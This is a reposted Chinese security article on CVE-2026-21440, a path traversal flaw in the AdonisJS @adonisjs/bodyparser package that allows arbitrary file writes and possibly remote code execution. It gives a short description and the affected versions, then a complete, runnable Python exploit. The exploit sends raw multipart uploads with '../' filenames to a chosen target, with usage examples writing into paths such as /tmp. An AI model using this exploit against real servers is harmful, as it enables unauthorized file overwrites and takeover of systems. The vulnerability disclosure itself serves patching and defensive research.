文章总结: AdonisJS的@adonisjs/bodyparser包在≤10.1.1及11.0.0-next.5版本存在路径遍历漏洞,攻击者通过构造含../的恶意文件名,利用MultipartFile.move默认配置将文件写到任意路径,可覆盖敏感文件实现远程代码执行。文章给出CVE-2026-21440编号、影响版本、完整PythonPOC及检测利用步骤,建议立即升级组件并强制校验与重命名上传文件名。 综合评分: 88 文章分类: 漏洞分析,漏洞POC,WEB安全,应用安全,安全工具
CVE-2026-21440|AdonisJS远程代码执行漏洞(POC)
alicy
信安百科
2026年1月11日 11:32 河北
0x00 前言
AdonisJS是一个基于Node.js的全栈Web应用框架,采用MVC架构,旨在提供一种高效、简洁且具有良好开发体验的开发方式。
它内置了多种常用功能,如认证、数据库迁移、验证、邮件处理、文件上传等,帮助开发者专注于业务逻辑而无需过多关注底层实现。
AdonisJS提供了完善的CLI工具和强大的路由系统,适用于构建从小型应用到大型企业级应用的项目。
0x01 漏洞描述
AdonisJS的@adonisjs/bodyparser包存在路径遍历漏洞。攻击者可通过构造恶意文件名,利用MultipartFile.move(location,options)的默认选项,将文件写入服务器任意位置,绕过预期的上传目录。
若未显式设置options.name或options.overwrite,攻击者可通过路径遍历写入敏感文件,可能导致远程代码执行(RCE)。
0x02 CVE编号
CVE-2026-21440
0x03 影响版本
@adonisjs/bodyparser <= 10.1.1@adonisjs/bodyparser <= 11.0.0-next.5
0x04 漏洞详情
POC:
https://github.com/k0nnect/cve-2026-21440-writeup
#!/usr/bin/env python3"""CVE-2026-21440 - Path Traversal Exploit for @adonisjs/bodyparser
This script exploits a path traversal vulnerability in the @adonisjs/bodyparserpackage (versions ≤ 10.1.1 and 11.0.0-next.1 to 11.0.0-next.5).
The vulnerability allows an attacker to write arbitrary files outside the intended upload directory by crafting a malicious filename with directory traversal sequences.
Author: k0nnectDate: 2026-01-07
⚠️ DISCLAIMER: This tool is for authorized security testing only. Unauthorized access to computer systems is illegal."""
import argparseimport sysimport osimport socketfrom urllib.parse import urlparse, urljoin
try: import requestsexcept ImportError: print("[!] Error: 'requests' library not found.") print(" Install with: pip install requests") sys.exit(1)
# BannerBANNER = """╔═══════════════════════════════════════════════════════════════╗║ CVE-2026-21440 Path Traversal Exploit ║║ @adonisjs/bodyparser ║║ ║║ github.com/k0nnect/cve-2026-21440-writeup ║╚═══════════════════════════════════════════════════════════════╝"""
class PathTraversalExploit: """ Exploit class for CVE-2026-21440 path traversal vulnerability. """
def __init__(self, target_url: str, timeout: int = 10, verify_ssl: bool = True): """ Initialize the exploit. """ self.target_url = target_url.rstrip('/') self.timeout = timeout self.verify_ssl = verify_ssl self.session = requests.Session()
# Parse URL parsed = urlparse(self.target_url) self.host = parsed.hostname self.port = parsed.port or (443 if parsed.scheme == 'https' else 80) self.path = parsed.path or '/' self.is_https = parsed.scheme == 'https'
def check_target(self) -> bool: """Check if target is reachable and healthy.""" try: base_url = '/'.join(self.target_url.split('/')[:-1]) health_url = urljoin(base_url + '/', 'health') response = self.session.get(health_url, timeout=self.timeout, verify=self.verify_ssl) if response.status_code == 200: print("[+] Target is reachable and healthy") return True else: print(f"[-] Target returned status {response.status_code}") return False except Exception as e: print(f"[!] Cannot connect to target: {e}") return False
def exploit(self, traversal_path: str, content: str, verbose: bool = False) -> bool: """ Execute the path traversal exploit using raw sockets.
This bypasses all library-level filename sanitization. """ print(f"\n[*] Target URL: {self.target_url}") print(f"[*] Traversal Path: {traversal_path}") print(f"[*] Payload Size: {len(content)} bytes")
# Construct raw multipart body with unsanitized filename boundary = "----CVE2026214440Boundary"
body = ( f"--{boundary}\r\n" f'Content-Disposition: form-data; name="file"; filename="{traversal_path}"\r\n' f"Content-Type: application/octet-stream\r\n" f"\r\n" f"{content}\r\n" f"--{boundary}--\r\n" ).encode('utf-8')
# Construct raw HTTP request request = ( f"POST {self.path} HTTP/1.1\r\n" f"Host: {self.host}:{self.port}\r\n" f"Content-Type: multipart/form-data; boundary={boundary}\r\n" f"Content-Length: {len(body)}\r\n" f"Connection: close\r\n" f"\r\n" ).encode('utf-8') + body
if verbose: print(f"[*] Crafted filename in request: {traversal_path}") print(f"[*] Raw request size: {len(request)} bytes")
try: print("\n[*] Sending exploit payload via raw socket...")
# Create socket and connect sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(self.timeout)
if self.is_https: import ssl context = ssl.create_default_context() if not self.verify_ssl: context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = context.wrap_socket(sock, server_hostname=self.host)
sock.connect((self.host, self.port)) sock.sendall(request)
# Receive response response = b"" while True: chunk = sock.recv(4096) if not chunk: break response += chunk
sock.close()
# Parse response response_str = response.decode('utf-8', errors='ignore')
if verbose: print(f"[*] Raw response:\n{response_str[:1000]}")
# Extract status code first_line = response_str.split('\r\n')[0] status_code = int(first_line.split()[1]) if len(first_line.split()) > 1 else 0
# Extract body (after double CRLF) body_start = response_str.find('\r\n\r\n') response_body = response_str[body_start + 4:] if body_start != -1 else ""
if verbose: print(f"[*] Response Status: {status_code}") print(f"[*] Response Body: {response_body[:500]}")
if status_code == 200: print("\n[+] ✓ Exploit successful!")
# Try to parse JSON response try: import json # Handle chunked encoding if 'Transfer-Encoding: chunked' in response_str: # Simple chunked decode - find JSON in body json_start = response_body.find('{') json_end = response_body.rfind('}') + 1 if json_start != -1 and json_end > json_start: response_body = response_body[json_start:json_end]
data = json.loads(response_body) if data.get('success') and 'data' in data: info = data['data'] print(f"[+] Original name: {info.get('originalName', 'N/A')}") print(f"[+] Resolved path: {info.get('resolvedPath', 'N/A')}") if info.get('escapedUploadsDir'): print(f"[+] ⚠️ PATH TRAVERSAL CONFIRMED - Escaped uploads directory!") except: pass
return True
elif status_code == 400: print("\n[-] ✗ Bad request - file may have been rejected") return False else: print(f"\n[-] Unexpected status: {status_code}") return False
except socket.timeout: print("\n[!] Request timed out") return False except ConnectionRefusedError: print("\n[!] Connection refused") return False except Exception as e: print(f"\n[!] Exploit failed: {e}") if verbose: import traceback traceback.print_exc() return False
def main(): """Main entry point.""" parser = argparse.ArgumentParser( description='CVE-2026-21440 Path Traversal Exploit', formatter_class=argparse.RawDescriptionHelpFormatter, epilog="""Examples: python exploit.py --url http://target:3333/upload --path "../test.txt" python exploit.py --url http://target:3333/upload --path "../../tmp/pwned.txt" --content "pwned" """ )
parser.add_argument('--url', '-u', required=True, help='Target upload endpoint URL') parser.add_argument('--path', '-p', required=True, help='Traversal path (e.g., ../test.txt)') parser.add_argument('--content', '-c', default='CVE-2026-21440 PoC', help='File content') parser.add_argument('--file', '-f', help='Read content from file') parser.add_argument('--timeout', '-t', type=int, default=10, help='Timeout (seconds)') parser.add_argument('--no-ssl-verify', action='store_true', help='Disable SSL verify') parser.add_argument('--check', action='store_true', help='Only check target') parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output')
args = parser.parse_args()
print(BANNER)
# Load content content = args.content if args.file: if os.path.exists(args.file): with open(args.file, 'r') as f: content = f.read() print(f"[*] Loaded content from: {args.file}") else: print(f"[!] File not found: {args.file}") sys.exit(1)
exploit = PathTraversalExploit( target_url=args.url, timeout=args.timeout, verify_ssl=not args.no_ssl_verify )
if args.check: sys.exit(0 if exploit.check_target() else 1)
print("[*] Starting exploit...")
success = exploit.exploit(args.path, content, args.verbose)
if success: print("\n" + "="*60) print("[+] Exploit completed - verify file on target") print("="*60) sys.exit(0) else: print("\n[-] Exploit may have failed") sys.exit(1)
if __name__ == '__main__': main()
0x05 参考链接
https://github.com/k0nnect/cve-2026-21440-writeup
https://github.com/adonisjs/bodyparser/releases/
推荐阅读:
CVE-2025-68645|Zimbra本地文件包含漏洞(POC)
CVE-2025-55182|React/Next.js远程代码执行漏洞(POC)
CVE-2025-64446|Fortinet FortiWeb身份验证绕过漏洞(POC)
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:信安百科 alicy《CVE-2026-21440|AdonisJS远程代码执行漏洞(POC)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论